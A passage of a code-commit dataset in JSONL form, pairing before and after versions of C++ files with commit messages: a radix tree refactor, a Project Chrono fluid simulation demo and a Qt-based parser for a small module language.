9) + 1;\n  rw->SetStereoType(type);\n  switch(type)\n    {\n    case 1: cout << \"VTK_STEREO_CRYSTAL_EYES\\n\"; break;\n    case 2: cout << \"VTK_STEREO_RED_BLUE\\n\"; break;\n    case 3: cout << \"VTK_STEREO_INTERLACED\\n\"; break;\n    case 4: cout << \"VTK_STEREO_LEFT\\n\"; break;\n    case 5: cout << \"VTK_STEREO_RIGHT\\n\"; break;\n    case 6: cout << \"VTK_STEREO_DRESDEN\\n\"; break;\n    case 7: cout << \"VTK_STEREO_ANAGLYPH\\n\"; break;\n    case 8: cout << \"VTK_STEREO_CHECKERBOARD\\n\"; break;\n    case 9: cout << \"VTK_STEREO_SPLITVIEWPORT_HORIZONTAL\\n\"; break;\n    }\n  rw->Render();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"crange_arch.hh\"\n#include \"radix.hh\"\n\n\/\/ Returns the level we stopped at.\ntemplate<class CB>\nu32\ndescend(u64 key, markptr<void> *n, u32 level, CB cb, bool create)\n{\n  static_assert(key_bits == bits_per_level * radix_levels,\n                \"for now, we only support exact multiples of bits_per_level\");\n  assert(n);\n\n  void *v = n->ptr();\n  if (v == 0 && create) {\n    radix_node *new_rn = new radix_node();\n    if (n->ptr().cmpxch_update(&v, (void*) new_rn))\n      v = new_rn;\n    else\n      delete new_rn;\n  }\n  \/\/ Node isn't there. Just return.\n  if (v == 0) {\n    return level+1;\n  }\n\n  radix_node *rn = (radix_node*) v;\n\n  u64 idx = key >> (bits_per_level * level);\n  idx &= (1<<bits_per_level)-1;\n  markptr<void> *vptr = &rn->ptr[idx];\n  if (level == 0) {\n    cb(vptr);\n    return level;\n  } else {\n    return descend(key, vptr, level-1, cb, create);\n  }\n}\n\nradix_elem*\nradix::search(u64 key)\n{\n  radix_elem *result = 0;\n  descend(key >> shift_, &root_, radix_levels-1, [&result](markptr<void> *v) {\n      result = (radix_elem*) v->ptr().load();\n    }, false);\n  return result;\n}\n\nradix_range\nradix::search_lock(u64 start, u64 size)\n{\n  return radix_range(this, start >> shift_, size >> shift_);\n}\n\nu64\nradix::skip_empty(u64 k) const\n{\n  u64 next_k = k;\n  while (next_k < (1UL<<key_bits)) {\n    \/\/ Does next_k exist?\n    \/\/ FIXME: evil evil const_cast\n    u32 level = descend(next_k, const_cast<markptr<void>*>(&root_),\n                        radix_levels-1, [](markptr<void> *v){}, false);\n    if (level == 0) {\n      return next_k;\n    }\n    u64 mask = 1UL<<(bits_per_level * level);\n    \/\/ Skip past everything we know is missing.\n    next_k = (next_k & ~(mask-1)) + mask;\n  }\n  \/\/ Nope, no successor.\n  return ~0ULL;\n}\n\nradix_range::radix_range(radix *r, u64 start, u64 size)\n  : r_(r), start_(start), size_(size)\n{\n  for (u64 k = start_; k != start_ + size_; k++) {\n    if (descend(k, &r_->root_, radix_levels-1, [](markptr<void> *v) {\n          while (!v->mark().xchg(true))\n            ; \/\/ spin\n        }, true) != 0) {\n      panic(\"radix_range\");\n    }\n  }\n}\n\nradix_range::~radix_range()\n{\n  if (!r_)\n    return;\n\n  for (u64 k = start_; k != start_ + size_; k++) {\n    if (descend(k, &r_->root_, radix_levels-1, [](markptr<void> *v) {\n          v->mark() = false;\n        }, true) != 0) {\n      panic(\"~radix_range\");\n    }\n  }\n}\n\nvoid\nradix_range::replace(u64 start, u64 size, radix_elem *val)\n{\n  start = start >> r_->shift_;\n  size = size >> r_->shift_;\n\n  assert(start >= start_);\n  assert(start + size <= start_ + size_);\n\n  for (u64 k = start; k != start + size; k++) {\n    if (descend(k, &r_->root_, radix_levels-1, [val](markptr<void> *v) {\n          void* cur = v->ptr().load();\n          while (!v->ptr().cmpxch_update(&cur, val))\n            ; \/\/ spin\n          if (val)\n            val->incref();\n          if (cur)\n            ((radix_elem*) cur)->decref();\n        }, true)) {\n      panic(\"radix_range::replace\");\n    }\n  }\n}\n\nradix_elem*\nradix_iterator::operator*()\n{\n  radix_elem *result = 0;\n  descend(k_, (markptr<void>*) &r_->root_, radix_levels-1, [&result](markptr<void> *v) {\n      result = (radix_elem*) v->ptr().load();\n    }, false);\n  return result;\n}\n<commit_msg>radix: Refactor index computation a little<commit_after>#include \"crange_arch.hh\"\n#include \"radix.hh\"\n\nstatic u64\nindex(u64 key, u32 level)\n{\n  u64 idx = key >> (bits_per_level * level);\n  idx &= (1 << bits_per_level) - 1;\n  return idx;\n}\n\n\/\/ Returns the level we stopped at.\ntemplate<class CB>\nu32\ndescend(u64 key, markptr<void> *n, u32 level, CB cb, bool create)\n{\n  static_assert(key_bits == bits_per_level * radix_levels,\n                \"for now, we only support exact multiples of bits_per_level\");\n  assert(n);\n\n  void *v = n->ptr();\n  if (v == 0 && create) {\n    radix_node *new_rn = new radix_node();\n    if (n->ptr().cmpxch_update(&v, (void*) new_rn))\n      v = new_rn;\n    else\n      delete new_rn;\n  }\n  \/\/ Node isn't there. Just return.\n  if (v == 0) {\n    return level+1;\n  }\n\n  radix_node *rn = (radix_node*) v;\n\n  markptr<void> *vptr = &rn->ptr[index(key, level)];\n  if (level == 0) {\n    cb(vptr);\n    return level;\n  } else {\n    return descend(key, vptr, level-1, cb, create);\n  }\n}\n\nradix_elem*\nradix::search(u64 key)\n{\n  radix_elem *result = 0;\n  descend(key >> shift_, &root_, radix_levels-1, [&result](markptr<void> *v) {\n      result = (radix_elem*) v->ptr().load();\n    }, false);\n  return result;\n}\n\nradix_range\nradix::search_lock(u64 start, u64 size)\n{\n  return radix_range(this, start >> shift_, size >> shift_);\n}\n\nu64\nradix::skip_empty(u64 k) const\n{\n  u64 next_k = k;\n  while (next_k < (1UL<<key_bits)) {\n    \/\/ Does next_k exist?\n    \/\/ FIXME: evil evil const_cast\n    u32 level = descend(next_k, const_cast<markptr<void>*>(&root_),\n                        radix_levels-1, [](markptr<void> *v){}, false);\n    if (level == 0) {\n      return next_k;\n    }\n    u64 mask = 1UL<<(bits_per_level * level);\n    \/\/ Skip past everything we know is missing.\n    next_k = (next_k & ~(mask-1)) + mask;\n  }\n  \/\/ Nope, no successor.\n  return ~0ULL;\n}\n\nradix_range::radix_range(radix *r, u64 start, u64 size)\n  : r_(r), start_(start), size_(size)\n{\n  for (u64 k = start_; k != start_ + size_; k++) {\n    if (descend(k, &r_->root_, radix_levels-1, [](markptr<void> *v) {\n          while (!v->mark().xchg(true))\n            ; \/\/ spin\n        }, true) != 0) {\n      panic(\"radix_range\");\n    }\n  }\n}\n\nradix_range::~radix_range()\n{\n  if (!r_)\n    return;\n\n  for (u64 k = start_; k != start_ + size_; k++) {\n    if (descend(k, &r_->root_, radix_levels-1, [](markptr<void> *v) {\n          v->mark() = false;\n        }, true) != 0) {\n      panic(\"~radix_range\");\n    }\n  }\n}\n\nvoid\nradix_range::replace(u64 start, u64 size, radix_elem *val)\n{\n  start = start >> r_->shift_;\n  size = size >> r_->shift_;\n\n  assert(start >= start_);\n  assert(start + size <= start_ + size_);\n\n  for (u64 k = start; k != start + size; k++) {\n    if (descend(k, &r_->root_, radix_levels-1, [val](markptr<void> *v) {\n          void* cur = v->ptr().load();\n          while (!v->ptr().cmpxch_update(&cur, val))\n            ; \/\/ spin\n          if (val)\n            val->incref();\n          if (cur)\n            ((radix_elem*) cur)->decref();\n        }, true)) {\n      panic(\"radix_range::replace\");\n    }\n  }\n}\n\nradix_elem*\nradix_iterator::operator*()\n{\n  radix_elem *result = 0;\n  descend(k_, (markptr<void>*) &r_->root_, radix_levels-1, [&result](markptr<void> *v) {\n      result = (radix_elem*) v->ptr().load();\n    }, false);\n  return result;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>clean dead code<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban, Hammad Mazhar\n\/\/ =============================================================================\n\/\/\n\/\/ ChronoParallel test program using penalty method for frictional contact.\n\/\/\n\/\/ The model simulated here consists of a number of spherical objects falling\n\/\/ onto a mixer blade attached through a revolute joint to the ground.\n\/\/\n\/\/ The global reference frame has Z up.\n\/\/\n\/\/ If available, OpenGL is used for run-time rendering. Otherwise, the\n\/\/ simulation is carried out for a pre-defined duration and output files are\n\/\/ generated for post-processing with POV-Ray.\n\/\/ =============================================================================\n\n#include <stdio.h>\n#include <vector>\n#include <cmath>\n\n#include \"chrono_parallel\/physics\/ChSystemParallel.h\"\n\n#include \"chrono\/ChConfig.h\"\n#include \"chrono\/utils\/ChUtilsCreators.h\"\n#include \"chrono\/utils\/ChUtilsInputOutput.h\"\n#include \"chrono\/utils\/ChUtilsGeometry.h\"\n#include \"chrono\/utils\/ChUtilsGenerators.h\"\n\n#include \"chrono_parallel\/physics\/Ch3DOFContainer.h\"\n\n#ifdef CHRONO_OPENGL\n#include \"chrono_opengl\/ChOpenGLWindow.h\"\n#endif\n\nusing namespace chrono;\nusing namespace chrono::collision;\ndouble time_step = 1e-3;\nCh3DOFRigidContainer* fluid_container;\n\/\/ -----------------------------------------------------------------------------\n\/\/ Create a bin consisting of five boxes attached to the ground and a mixer\n\/\/ blade attached through a revolute joint to ground. The mixer is constrained\n\/\/ to rotate at constant angular velocity.\n\/\/ -----------------------------------------------------------------------------\nvoid AddContainer(ChSystemParallelDVI* sys) {\n    \/\/ IDs for the two bodies\n    int binId = -200;\n    int mixerId = -201;\n\n    \/\/ Create a common material\n    auto mat = std::make_shared<ChMaterialSurface>();\n    mat->SetFriction(0.4f);\n\n    ChVector<> hdim(.55, .6, .55);\n\n    utils::CreateBoxContainer(sys, 0, mat, hdim, 0.05, Vector(0, 0, 0), Q_from_AngAxis(-10, VECT_Y), true, false, true,\n                              true);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Create the fluid in the shape of a sphere.\n\/\/ -----------------------------------------------------------------------------\nvoid AddFluid(ChSystemParallelDVI* sys) {\n    fluid_container = new Ch3DOFRigidContainer(sys);\n\n    fluid_container->contact_cohesion = 0;\n    fluid_container->kernel_radius = .016;\n    fluid_container->mass = .1;\n    fluid_container->contact_mu = .1;\n    fluid_container->mu = .1;\n    fluid_container->cohesion = .5;\n    fluid_container->contact_recovery_speed = .3;\n    fluid_container->collision_envelope = fluid_container->kernel_radius * .01;\n\n    real radius = .1;  \/\/*5\n    real dens = 30;\n    real3 num_fluid = real3(10, 10, 10);\n    real3 origin(0, 0, -.2);\n    real vol;\n\n    std::vector<real3> pos_fluid;\n    std::vector<real3> vel_fluid;\n\n    double dist = fluid_container->kernel_radius;\n    utils::GridSampler<> sampler(dist);\n#if 1\n    utils::Generator::PointVector points = sampler.SampleSphere(ChVector<>(0, 0, 0), radius);\n\/\/ vol = 4.0 \/ 3.0 * CH_C_PI * pow(radius, 3) \/ real(points.size());\n\n#else\n    ChVector<> hdim(.5, .5, .5);\n    utils::Generator::PointVector points = sampler.SampleBox(ChVector<>(0, 0, -hdim.z), hdim);\n\/\/ vol = hdim.x * hdim.y * hdim.z \/ real(points.size());\n#endif\n\n    pos_fluid.resize(points.size());\n    vel_fluid.resize(points.size());\n    for (int i = 0; i < points.size(); i++) {\n        pos_fluid[i] = real3(points[i].x, points[i].y, points[i].z) + origin;\n        vel_fluid[i] = real3(0, 0, 0);\n    }\n\n    fluid_container->UpdatePosition(0);\n    fluid_container->AddBodies(pos_fluid, vel_fluid);\n}\n\/\/ -----------------------------------------------------------------------------\n\/\/ Create the system, specify simulation parameters, and run simulation loop.\n\/\/ -----------------------------------------------------------------------------\nint main(int argc, char* argv[]) {\n    int threads = 8;\n\n    \/\/ Simulation parameters\n    \/\/ ---------------------\n\n    double gravity = 9.81;\n\n    double time_end = 1;\n\n    double out_fps = 50;\n\n    uint max_iteration = 30;\n    real tolerance = 1e-3;\n\n    \/\/ Create system\n    \/\/ -------------\n\n    ChSystemParallelDVI msystem;\n    \/\/ omp_set_num_threads(4);\n    \/\/ Set number of threads.\n    \/\/    int max_threads = 2;\/\/CHOMPfunctions::GetNumProcs();\n    \/\/    if (threads > max_threads)\n    \/\/        threads = max_threads;\n    \/\/    msystem.SetParallelThreadNumber(threads);\n    \/\/    CHOMPfunctions::SetNumThreads(threads);\n\n    \/\/ Set gravitational acceleration\n    msystem.Set_G_acc(ChVector<>(0, 0, -gravity));\n\n    \/\/ Set solver parameters\n    msystem.GetSettings()->solver.solver_mode = SLIDING;\n    msystem.GetSettings()->solver.max_iteration_normal = 0;\n    msystem.GetSettings()->solver.max_iteration_sliding = 40;\n    msystem.GetSettings()->solver.max_iteration_spinning = 0;\n    msystem.GetSettings()->solver.max_iteration_bilateral = 0;\n    msystem.GetSettings()->solver.tolerance = tolerance;\n    msystem.GetSettings()->solver.alpha = 0;\n    msystem.GetSettings()->solver.use_full_inertia_tensor = false;\n    msystem.GetSettings()->solver.contact_recovery_speed = 100000;\n    msystem.GetSettings()->solver.cache_step_length = true;\n\n    msystem.ChangeSolverType(BB);\n    msystem.GetSettings()->collision.narrowphase_algorithm = NARROWPHASE_HYBRID_MPR;\n\n    AddFluid(&msystem);\n\n    msystem.GetSettings()->collision.collision_envelope = (fluid_container->kernel_radius * .05);\n    msystem.GetSettings()->collision.bins_per_axis = int3(2, 2, 2);\n    msystem.GetSettings()->collision.bins_per_axis = vec3(2, 2, 2);\n    msystem.SetLoggingLevel(LOG_TRACE, true);\n    msystem.SetLoggingLevel(LOG_INFO, true);\n    \/\/ Create the fixed and moving bodies\n    \/\/ ----------------------------------\n    AddContainer(&msystem);\n\n\/\/ Perform the simulation\n\/\/ ----------------------\n\n#ifdef CHRONO_OPENGL\n    opengl::ChOpenGLWindow& gl_window = opengl::ChOpenGLWindow::getInstance();\n    gl_window.Initialize(1280, 720, \"fluidDVI\", &msystem);\n    gl_window.SetCamera(ChVector<>(0, -2, 0), ChVector<>(0, 0, 0), ChVector<>(0, 0, 1), .2);\n    gl_window.Pause();\n    \/\/ Uncomment the following two lines for the OpenGL manager to automatically\n    \/\/ run the simulation in an infinite loop.\n    \/\/ gl_window.StartDrawLoop(time_step);\n    \/\/ return 0;\n    while (true) {\n        if (gl_window.Active()) {\n            gl_window.DoStepDynamics(time_step);\n            gl_window.Render();\n        } else {\n            break;\n        }\n    }\n#else\n    \/\/ Run simulation for specified time\n    int num_steps = std::ceil(time_end \/ time_step);\n\n    double time = 0;\n    for (int i = 0; i < num_steps; i++) {\n        msystem.DoStepDynamics(time_step);\n        time += time_step;\n    }\n#endif\n\n    return 0;\n}\n<commit_msg>remove needed line in demo<commit_after>\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban, Hammad Mazhar\n\/\/ =============================================================================\n\/\/\n\/\/ ChronoParallel test program using penalty method for frictional contact.\n\/\/\n\/\/ The model simulated here consists of a number of spherical objects falling\n\/\/ onto a mixer blade attached through a revolute joint to the ground.\n\/\/\n\/\/ The global reference frame has Z up.\n\/\/\n\/\/ If available, OpenGL is used for run-time rendering. Otherwise, the\n\/\/ simulation is carried out for a pre-defined duration and output files are\n\/\/ generated for post-processing with POV-Ray.\n\/\/ =============================================================================\n\n#include <stdio.h>\n#include <vector>\n#include <cmath>\n\n#include \"chrono_parallel\/physics\/ChSystemParallel.h\"\n\n#include \"chrono\/ChConfig.h\"\n#include \"chrono\/utils\/ChUtilsCreators.h\"\n#include \"chrono\/utils\/ChUtilsInputOutput.h\"\n#include \"chrono\/utils\/ChUtilsGeometry.h\"\n#include \"chrono\/utils\/ChUtilsGenerators.h\"\n\n#include \"chrono_parallel\/physics\/Ch3DOFContainer.h\"\n\n#ifdef CHRONO_OPENGL\n#include \"chrono_opengl\/ChOpenGLWindow.h\"\n#endif\n\nusing namespace chrono;\nusing namespace chrono::collision;\ndouble time_step = 1e-3;\nCh3DOFRigidContainer* fluid_container;\n\/\/ -----------------------------------------------------------------------------\n\/\/ Create a bin consisting of five boxes attached to the ground and a mixer\n\/\/ blade attached through a revolute joint to ground. The mixer is constrained\n\/\/ to rotate at constant angular velocity.\n\/\/ -----------------------------------------------------------------------------\nvoid AddContainer(ChSystemParallelDVI* sys) {\n    \/\/ IDs for the two bodies\n    int binId = -200;\n    int mixerId = -201;\n\n    \/\/ Create a common material\n    auto mat = std::make_shared<ChMaterialSurface>();\n    mat->SetFriction(0.4f);\n\n    ChVector<> hdim(.55, .6, .55);\n\n    utils::CreateBoxContainer(sys, 0, mat, hdim, 0.05, Vector(0, 0, 0), Q_from_AngAxis(-10, VECT_Y), true, false, true,\n                              true);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Create the fluid in the shape of a sphere.\n\/\/ -----------------------------------------------------------------------------\nvoid AddFluid(ChSystemParallelDVI* sys) {\n    fluid_container = new Ch3DOFRigidContainer(sys);\n\n    fluid_container->contact_cohesion = 0;\n    fluid_container->kernel_radius = .016;\n    fluid_container->mass = .1;\n    fluid_container->contact_mu = .1;\n    fluid_container->mu = .1;\n    fluid_container->cohesion = .5;\n    fluid_container->contact_recovery_speed = .3;\n    fluid_container->collision_envelope = fluid_container->kernel_radius * .01;\n\n    real radius = .1;  \/\/*5\n    real dens = 30;\n    real3 num_fluid = real3(10, 10, 10);\n    real3 origin(0, 0, -.2);\n    real vol;\n\n    std::vector<real3> pos_fluid;\n    std::vector<real3> vel_fluid;\n\n    double dist = fluid_container->kernel_radius;\n    utils::GridSampler<> sampler(dist);\n#if 1\n    utils::Generator::PointVector points = sampler.SampleSphere(ChVector<>(0, 0, 0), radius);\n\/\/ vol = 4.0 \/ 3.0 * CH_C_PI * pow(radius, 3) \/ real(points.size());\n\n#else\n    ChVector<> hdim(.5, .5, .5);\n    utils::Generator::PointVector points = sampler.SampleBox(ChVector<>(0, 0, -hdim.z), hdim);\n\/\/ vol = hdim.x * hdim.y * hdim.z \/ real(points.size());\n#endif\n\n    pos_fluid.resize(points.size());\n    vel_fluid.resize(points.size());\n    for (int i = 0; i < points.size(); i++) {\n        pos_fluid[i] = real3(points[i].x, points[i].y, points[i].z) + origin;\n        vel_fluid[i] = real3(0, 0, 0);\n    }\n\n    fluid_container->UpdatePosition(0);\n    fluid_container->AddBodies(pos_fluid, vel_fluid);\n}\n\/\/ -----------------------------------------------------------------------------\n\/\/ Create the system, specify simulation parameters, and run simulation loop.\n\/\/ -----------------------------------------------------------------------------\nint main(int argc, char* argv[]) {\n    int threads = 8;\n\n    \/\/ Simulation parameters\n    \/\/ ---------------------\n\n    double gravity = 9.81;\n\n    double time_end = 1;\n\n    double out_fps = 50;\n\n    uint max_iteration = 30;\n    real tolerance = 1e-3;\n\n    \/\/ Create system\n    \/\/ -------------\n\n    ChSystemParallelDVI msystem;\n    \/\/ omp_set_num_threads(4);\n    \/\/ Set number of threads.\n    \/\/    int max_threads = 2;\/\/CHOMPfunctions::GetNumProcs();\n    \/\/    if (threads > max_threads)\n    \/\/        threads = max_threads;\n    \/\/    msystem.SetParallelThreadNumber(threads);\n    \/\/    CHOMPfunctions::SetNumThreads(threads);\n\n    \/\/ Set gravitational acceleration\n    msystem.Set_G_acc(ChVector<>(0, 0, -gravity));\n\n    \/\/ Set solver parameters\n    msystem.GetSettings()->solver.solver_mode = SLIDING;\n    msystem.GetSettings()->solver.max_iteration_normal = 0;\n    msystem.GetSettings()->solver.max_iteration_sliding = 40;\n    msystem.GetSettings()->solver.max_iteration_spinning = 0;\n    msystem.GetSettings()->solver.max_iteration_bilateral = 0;\n    msystem.GetSettings()->solver.tolerance = tolerance;\n    msystem.GetSettings()->solver.alpha = 0;\n    msystem.GetSettings()->solver.use_full_inertia_tensor = false;\n    msystem.GetSettings()->solver.contact_recovery_speed = 100000;\n    msystem.GetSettings()->solver.cache_step_length = true;\n\n    msystem.ChangeSolverType(BB);\n    msystem.GetSettings()->collision.narrowphase_algorithm = NARROWPHASE_HYBRID_MPR;\n\n    AddFluid(&msystem);\n\n    msystem.GetSettings()->collision.collision_envelope = (fluid_container->kernel_radius * .05);\n    msystem.GetSettings()->collision.bins_per_axis = vec3(2, 2, 2);\n    msystem.SetLoggingLevel(LOG_TRACE, true);\n    msystem.SetLoggingLevel(LOG_INFO, true);\n    \/\/ Create the fixed and moving bodies\n    \/\/ ----------------------------------\n    AddContainer(&msystem);\n\n\/\/ Perform the simulation\n\/\/ ----------------------\n\n#ifdef CHRONO_OPENGL\n    opengl::ChOpenGLWindow& gl_window = opengl::ChOpenGLWindow::getInstance();\n    gl_window.Initialize(1280, 720, \"fluidDVI\", &msystem);\n    gl_window.SetCamera(ChVector<>(0, -2, 0), ChVector<>(0, 0, 0), ChVector<>(0, 0, 1), .2);\n    gl_window.Pause();\n    \/\/ Uncomment the following two lines for the OpenGL manager to automatically\n    \/\/ run the simulation in an infinite loop.\n    \/\/ gl_window.StartDrawLoop(time_step);\n    \/\/ return 0;\n    while (true) {\n        if (gl_window.Active()) {\n            gl_window.DoStepDynamics(time_step);\n            gl_window.Render();\n        } else {\n            break;\n        }\n    }\n#else\n    \/\/ Run simulation for specified time\n    int num_steps = std::ceil(time_end \/ time_step);\n\n    double time = 0;\n    for (int i = 0; i < num_steps; i++) {\n        msystem.DoStepDynamics(time_step);\n        time += time_step;\n    }\n#endif\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>change mining function<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"parser.h\"\n#include \"myexception.h\"\n#include <QRegularExpression>\n\nstatic const QRegularExpression moduleNamePattern(\"^([A-Z]|_|[0-9])+$\");\n\nParser::Parser(const QVector<Token> &tokens) : tokens(tokens), it(tokens.begin()), end(tokens.end()), log(&_log)\n{\n    parse();\n}\n\nbool Parser::accept(Token::Type t) {\n    if (it->type == t) {\n        lastAccepted = it++;\n        return true;\n    }\n    return false;\n}\n\nvoid Parser::expect(Token::Type t, QString err) {\n    if (it->type == t) {\n        lastAccepted = it++;\n        return;\n    }\n\n    throw MyException(QString(\"Unexpected token type. Received %1. Expected type %2. Error : %3\").arg(it->toString()).arg(Token::typeToString(t)).arg(err));\n}\n\nvoid Parser::parse() {\n    \/\/ Step 1) get module name\n    expect(Token::MODULE, \"File must start with a Module declaration\");\n    expect(Token::IDENTIFIER, \"'module' keyword must be followed by an identifier that will be the module name, in uppercase\");\n    const QString moduleName = lastAccepted->lexeme;\n    if (!moduleNamePattern.match(moduleName).hasMatch())\n        throw MyException(QString(\"Module name must contain only uppercase letters, digits and underscores. Thus, name %1 is incorrect\").arg(moduleName));\n\n    setModuleName(moduleName);\n    log << \"Module name found : \" << moduleName << endl;\n\n    \/\/ Step 2) get all the exported declarations (functions and types inside the module)\n    expect(Token::LEFT_BRACKET, \"Module declaration must start with a left bracket '{'\");\n\n    while (!accept(Token::RIGHT_BRACKET)) {\n        auto newestSymbol = this->parseExportedSymbol();\n        if (newestSymbol->isFunction)\n            addExportedFunction(newestSymbol->name, newestSymbol->returnType, newestSymbol->argTypes);\n        else\n            addExportedType(newestSymbol->name);\n        accept(Token::COMMA); \/\/Facultative\n    }\n\n    \/\/ Step 3) Now that module has ended, we expect a semicolong and then parse every other statement\n    expect(Token::SEMICOLON, \"Module declaration : missing semicolon\");\n\n    while (!atEnd()) { \/\/TODO\n        parseDeclarationAndAddIt();\n    }\n\n}\n\nQSharedPointer<Parser::ExportedSymbol> Parser::parseExportedSymbol() {\n    expect(Token::IDENTIFIER, \"All declarations in a module must start with an identifier\");\n    QString first = lastAccepted->value.toString();\n    if (accept(Token::COMMA))\n    {\n        log << \"Parsed an exported type whose name is \" << first;\n        return QSharedPointer<ExportedSymbol>(ExportedSymbol::type(first));\n    }\n\n    \/*It's a function.\n    Two forms are allowed :\n    -ReturnType func(argType, argType1,...) ->\n    -func(argType, argType2,...) -> ReturnType\n    *\/\n    if (accept(Token::IDENTIFIER)) {\n        QString returnType = first;\n        QString funcName = lastAccepted->value.toString();\n        QStringList argTypes;\n        expect(Token::LEFT_PAREN, \"Function signature must contain parenthesis\");\n        while (!accept(Token::RIGHT_PAREN)) {\n            expect(Token::IDENTIFIER, \"Expected typename\"); \/\/TODO : allow compound type names (qualifiers etc)\n            argTypes << lastAccepted->value.toString();\n            accept(Token::COMMA); \/\/ At the moment, compound type names will be seen as two types and so 2 args. TODO : fix this\n        }\n\n        log << \"Parsed a function declaration (exproted in module) with C-style syntax. Name : \" << funcName << \". Return type : \" << returnType << \". Args types : \";\n        for (auto& t : argTypes)\n            log << t <<';';\n        log << endl;\n\n        return QSharedPointer<ExportedSymbol>(ExportedSymbol::func(funcName, returnType, argTypes));\n    }\n\n    else if (accept(Token::LEFT_PAREN)) {\n        QString& funcName = first;\n        QStringList argTypes;\n        while (!accept(Token::RIGHT_PAREN)) {\n            expect(Token::IDENTIFIER, \"Expected typename\"); \/\/TODO : allow compound type names (qualifiers etc)\n            argTypes << lastAccepted->value.toString();\n            accept(Token::COMMA); \/\/ At the moment, compound type names will be seen as two types and so 2 args. TODO : fix this\n        }\n        expect(Token::ARROW, \"Function declarations that do not start with return type must be followed by an arrow.\");\n        expect(Token::IDENTIFIER, \"Arrow must be followed by a type name\");\n        QString returnType = lastAccepted->value.toString();\n        log << \"Parsed a function declaration (exproted in module) with C-style syntax. Name : \" << funcName << \". Return type : \" << returnType << \". Args types : \";\n                for (auto& t : argTypes)\n                    log << t <<';';\n        log << endl;\n        return QSharedPointer<ExportedSymbol>(ExportedSymbol::func(funcName, returnType, argTypes));\n\n\n    }\n\n    \/\/Else it's a type declaration\n    log << \"Parsed a type to export : \" << first << endl;\n    return QSharedPointer<ExportedSymbol>(ExportedSymbol::type(first));\n}\n\nvoid Parser::parseDeclarationAndAddIt() {\n    if (accept(Token::STRUCT)) {\n        parseStruct();\n    }\n    else {\n        throw MyException(\"Unimplemented method called : Parser::parseDeclarationAndAddIt\");\n    }\n}\n\nvoid Parser::parseStruct() {\n    expect(Token::IDENTIFIER, \"Struct must have a single-word name\");\n    const QString name = lastAccepted->value.toString();\n    log << \"Parsing struct called \" << name << endl;\n    expect(Token::LEFT_BRACKET, \"Expected bracket after a struct declaration\");\n    while (!accept(Token::RIGHT_BRACKET)) {\n        parseVariableDeclaration();\n    }\n    expect(Token::SEMICOLON, \"Struct definition must end with a ;\");\n}\n\nvoid Parser::parseVariableDeclaration() {\n    throw MyException(\"Unimplemented method called : Parser::parseVariableDeclaration\");\n}\n<commit_msg>Added variable declaration parsing<commit_after>#include \"parser.h\"\n#include \"myexception.h\"\n#include <QRegularExpression>\n\nstatic const QRegularExpression moduleNamePattern(\"^([A-Z]|_|[0-9])+$\");\n\nParser::Parser(const QVector<Token> &tokens) : tokens(tokens), it(tokens.begin()), end(tokens.end()), log(&_log)\n{\n    parse();\n}\n\nbool Parser::accept(Token::Type t) {\n    if (it->type == t) {\n        lastAccepted = it++;\n        return true;\n    }\n    return false;\n}\n\nvoid Parser::expect(Token::Type t, QString err) {\n    if (it->type == t) {\n        lastAccepted = it++;\n        return;\n    }\n\n    throw MyException(QString(\"Unexpected token type. Received %1. Expected type %2. Error : %3\").arg(it->toString()).arg(Token::typeToString(t)).arg(err));\n}\n\nvoid Parser::parse() {\n    \/\/ Step 1) get module name\n    expect(Token::MODULE, \"File must start with a Module declaration\");\n    expect(Token::IDENTIFIER, \"'module' keyword must be followed by an identifier that will be the module name, in uppercase\");\n    const QString moduleName = lastAccepted->lexeme;\n    if (!moduleNamePattern.match(moduleName).hasMatch())\n        throw MyException(QString(\"Module name must contain only uppercase letters, digits and underscores. Thus, name %1 is incorrect\").arg(moduleName));\n\n    setModuleName(moduleName);\n    log << \"Module name found : \" << moduleName << endl;\n\n    \/\/ Step 2) get all the exported declarations (functions and types inside the module)\n    expect(Token::LEFT_BRACKET, \"Module declaration must start with a left bracket '{'\");\n\n    while (!accept(Token::RIGHT_BRACKET)) {\n        auto newestSymbol = this->parseExportedSymbol();\n        if (newestSymbol->isFunction)\n            addExportedFunction(newestSymbol->name, newestSymbol->returnType, newestSymbol->argTypes);\n        else\n            addExportedType(newestSymbol->name);\n        accept(Token::COMMA); \/\/Facultative\n    }\n\n    \/\/ Step 3) Now that module has ended, we expect a semicolong and then parse every other statement\n    expect(Token::SEMICOLON, \"Module declaration : missing semicolon\");\n\n    while (!atEnd()) { \/\/TODO\n        parseDeclarationAndAddIt();\n    }\n\n}\n\nQSharedPointer<Parser::ExportedSymbol> Parser::parseExportedSymbol() {\n    expect(Token::IDENTIFIER, \"All declarations in a module must start with an identifier\");\n    QString first = lastAccepted->value.toString();\n    if (accept(Token::COMMA))\n    {\n        log << \"Parsed an exported type whose name is \" << first;\n        return QSharedPointer<ExportedSymbol>(ExportedSymbol::type(first));\n    }\n\n    \/*It's a function.\n    Two forms are allowed :\n    -ReturnType func(argType, argType1,...) ->\n    -func(argType, argType2,...) -> ReturnType\n    *\/\n    if (accept(Token::IDENTIFIER)) {\n        QString returnType = first;\n        QString funcName = lastAccepted->value.toString();\n        QStringList argTypes;\n        expect(Token::LEFT_PAREN, \"Function signature must contain parenthesis\");\n        while (!accept(Token::RIGHT_PAREN)) {\n            expect(Token::IDENTIFIER, \"Expected typename\"); \/\/TODO : allow compound type names (qualifiers etc)\n            argTypes << lastAccepted->value.toString();\n            accept(Token::COMMA); 